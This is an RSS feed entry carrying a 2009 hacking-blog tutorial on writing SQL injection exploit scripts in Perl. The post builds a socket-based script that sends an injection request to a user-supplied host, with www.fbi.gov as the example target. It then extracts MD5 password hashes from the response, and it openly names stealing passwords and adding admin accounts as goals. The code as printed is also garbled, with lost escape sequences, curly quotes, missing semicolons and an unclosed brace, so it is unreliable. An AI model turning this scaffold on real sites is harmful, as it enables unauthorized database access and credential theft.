<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacking-Gurus &#187; programming</title>
	<atom:link href="http://www.hacking-gurus.net/tag/programming/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hacking-gurus.net</link>
	<description>Security Blog</description>
	<lastBuildDate>Thu, 19 Jan 2012 21:06:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Writing SQL Injection exploits in Perl</title>
		<link>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/</link>
		<comments>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/#comments</comments>
		<pubDate>Sat, 04 Apr 2009 18:30:22 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[explots]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[ip address]]></category>
		<category><![CDATA[ipchain]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[perl exploits]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=62</guid>
		<description><![CDATA[[1] Introduction [2] Little panning of Perl language used into an internet context [3] Perl SQL Injection by examples [4] Gr33tz to &#8230; &#8212;+&#8212; StArT [1] Introduction Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot of operation across the internet just [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Writing+SQL+Injection+exploits+in+Perl";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = " Introduction Little panning of Perl language used into an internet context Perl SQL Injection by examples Gr33tz to &#8230;&#8212;+&#8212; StArT IntroductionPerl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lotof operation across the internet just writing a litlle bit of code. So...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>[1] Introduction<br />
[2] Little panning of Perl language used into an internet context<br />
[3] Perl SQL Injection by examples<br />
[4] Gr33tz to &#8230;</p>
<p><span id="more-62"></span></p>
<p>&#8212;+&#8212; StArT</p>
<p>[1] Introduction</p>
<p>Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot<br />
of operation across the internet just writing a litlle bit of code. So i decided to write a similar guide to make an<br />
easiest life to everyone who decide to start writing a perl exploit.<br />
There are few requisites u need to proceed:<br />
- U must know the basics operation of perl (print, chomp, while, die, if, etc etc&#8230;);<br />
- U must know what kind of SQL code u need to inject to obtain a specific thing (stealing pwd, add new admin, etc etc&#8230;).</p>
<p>Now, we are ready to start&#8230;</p>
<p>[2] Little panning of Perl language used into an internet context</p>
<p>Using a Perl code into an internet context means that u should be able to make a sort of dialog between your script and the<br />
server side (or other..). To make this u need to use some &#8220;Perl modules&#8221;.<br />
Those modules must be put on the head of the script. In this tut we are going to use only the &#8220;IO::Socket&#8221; module, but<br />
there are thousand and if u are curious just search on cpan to retrieve info on every module.</p>
<p>[-] Using the IO::Socket module<br />
Using this module is quite simple. To make the Perl Interpreter able to use this module u must write on the starting<br />
of the script &#8220;use IO::Socket&#8221;. With this module u&#8217;ll be able to connect to every server defined previously, using<br />
a chomp, look at the example.</p>
<p>Example:<br />
print &#8220;Insert the host to connect: &#8220;;<br />
chomp ($host=&lt;STDIN&gt;);</p>
<p>Now suppose that the host inserted is www.host.com. We must declare to the interpreter that we want to connect to this<br />
host. To do this, we must create a new sock that will be used by the interpreter to connect.<br />
To create this we are going to write something like this:</p>
<p>$sock = IO::Socket::INET-&gt;new(Proto=&gt;&#8221;tcp&#8221;, PeerAddr=&gt;&#8221;$host&#8221;, PeerPort=&gt;&#8221;80&#8243;)<br />
or die &#8221; ]+[ Connecting ... Can't connect to host.nn";</p>
<p>In this piece of code we have declared that the interpreter must use the "IO::Socket" module, creating a new<br />
connection, through the TCP protocol, using the port 80 and direct to the host specified in the chomp<br />
($host=www.fbi.gov).<br />
If connection is not possible an error message will appear ("Connecting ... Can't connect to host").<br />
Resume:<br />
- Proto=&gt;TCP -------&gt; The protocol to use (TCP/UDP)<br />
- PeerAddr=&gt; -------&gt; The server/host to connect<br />
- PeerPort=&gt; -------&gt; Port to use for the connection</p>
<p>Ok, now let's go to the next step, which is the real hearth of this tut.</p>
<p>[3] Perl SQL Injection</p>
<p>Assuming that we know what kind of SQL statement must inject, now we are going to see how to do this.</p>
<p>The SQL code must be treaty like a normal variable (like &#8220;$injection&#8221;).</p>
<p>Example:<br />
$injection=index.php/forum?=[SQL_CODE]</p>
<p>This string means that we are going to inject the query into &#8220;index.php/forum&#8221; path, following the correct syntax that<br />
will bring us to cause a SQL Injection &#8220;?=&#8221;.</p>
<p>Now we must create a piece of code that will go to inject this query into the host vuln.</p>
<p>print $sock &#8220;GET $injection HTTP/1.1n&#8221;;<br />
print $sock &#8220;Accept: */*n&#8221;;<br />
print $sock &#8220;User-Agent: Hackern&#8221;;<br />
print $sock &#8220;Host: $hostn&#8221;;<br />
print $sock &#8220;Connection: closenn&#8221;;</p>
<p>This piece of code is the most important one into the building of an exploit.<br />
It can be considered the &#8220;validation&#8221; of the connection.<br />
In this case the &#8220;print&#8221; command doesn&#8217;t show anything on screen, but it creates a dialogue and sends commands to the host.</p>
<p>In the first line the script will send a &#8220;GET&#8221; to the selected page defined into &#8220;$injection&#8221;.<br />
In the third line it tells to the host &#8220;who/what&#8221; is making the request of &#8220;GET&#8221;. In this case this is Hacker, but it<br />
can be &#8220;Mozilla/5.0 Firefox/1.0.4&#8243; or other.<br />
In the fourth line it defines the host to connect to, &#8220;$host&#8221;.</p>
<p>With the execution of this script we have made our injection.</p>
<p>Resume of the exploit:</p>
<p>use IO::Socket</p>
<p>print &#8220;Insert the host to connect: &#8220;;<br />
chomp ($host=&lt;STDIN&gt;);</p>
<p>$sock = IO::Socket::INET-&gt;new(Proto=&gt;&#8221;tcp&#8221;, PeerAddr=&gt;&#8221;$host&#8221;, PeerPort=&gt;&#8221;80&#8243;)<br />
or die &#8221; ]+[ Connecting ... Can't connect to host.nn";</p>
<p>$injection=index.php/forum?=[SQL_CODE]</p>
<p>print $sock &#8220;GET $injection HTTP/1.1n&#8221;;<br />
print $sock &#8220;Accept: */*n&#8221;;<br />
print $sock &#8220;User-Agent: Hackern&#8221;;<br />
print $sock &#8220;Host: $hostn&#8221;;<br />
print $sock &#8220;Connection: closenn&#8221;;<br />
close ($sock); #this line terminates the connection</p>
<p>A little trick:</p>
<p>Assuming that, with the execution of SQL Inj, u want to retrieve a MD5 Hash PWD, u must be able to recognize it.<br />
Additionally, u want that your script will show the PWD on your screen.<br />
Well, to make this, the next piece of code, could be one of the possible solutions.</p>
<p>while($answer = &lt;$sock&gt;) {<br />
if ($answer =~ /([0-9a-f]{32})/) {<br />
print &#8220;]+[ Found! The hash is: $1n&#8221;;<br />
exit(); }</p>
<p>This string means that if the answer of the host will show a &#8220;word&#8221; made by 32 characters (&#8220;0&#8243; to &#8220;9&#8243; and &#8220;a&#8221; to &#8220;f&#8221;),<br />
this word must be considered the MD5 Hash PWD and it must be showed on screen.</p>
<p>Conclusions:<br />
The method showed in this tut is only one of the 10000 existing, but, for me, this is the most complete one.<br />
U could use also the module &#8220;LWP::Simple&#8221; in the place of &#8220;IO::Socket&#8221;, but u should change something into the code.<br />
This method can be used also, not only for SQL Injection, but, for example, remote file upload or other.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

